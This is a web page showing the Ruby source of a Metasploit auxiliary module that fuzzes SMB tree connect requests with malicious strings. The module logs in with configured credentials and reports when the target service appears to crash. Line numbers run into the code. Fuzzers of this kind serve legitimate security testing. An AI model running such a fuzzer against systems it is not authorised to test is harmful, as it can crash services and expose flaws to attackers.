Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::SMB::Client7include Msf::Auxiliary::Fuzzer89def initialize(info = {})10super(update_info(info,11'Name' => 'SMB Tree Connect Request Fuzzer',12'Description' => %q{13This module sends a series of SMB tree connect14requests using malicious strings.15},16'Author' => [ 'hdm' ],17'License' => MSF_LICENSE18))19end2021def do_smb_connect(pkt,opts={})22@connected = false23connect24simple.login(25datastore['SMBName'],26datastore['SMBUser'],27datastore['SMBPass'],28datastore['SMBDomain']29)3031@connected = true32simple.connect("\\\\#{datastore['RHOST']}\\#{pkt}")33end3435def run36last_str = nil37last_inp = nil38last_err = nil3940cnt = 04142fuzz_strings do |str|43cnt += 14445if(cnt % 100 == 0)46print_status("Fuzzing with iteration #{cnt} using #{@last_fuzzer_input}")47end4849begin50do_smb_connect(str, 0.25)51rescue ::Interrupt52print_status("Exiting on interrupt: iteration #{cnt} using #{@last_fuzzer_input}")53raise $!54rescue ::Exception => e55last_err = e56ensure57disconnect58end5960if(not @connected)61if(last_str)62print_status("The service may have crashed: iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}")63else64print_status("Could not connect to the service: #{last_err}")65end66return67end6869last_str = str70last_inp = @last_fuzzer_input71end72end73end747576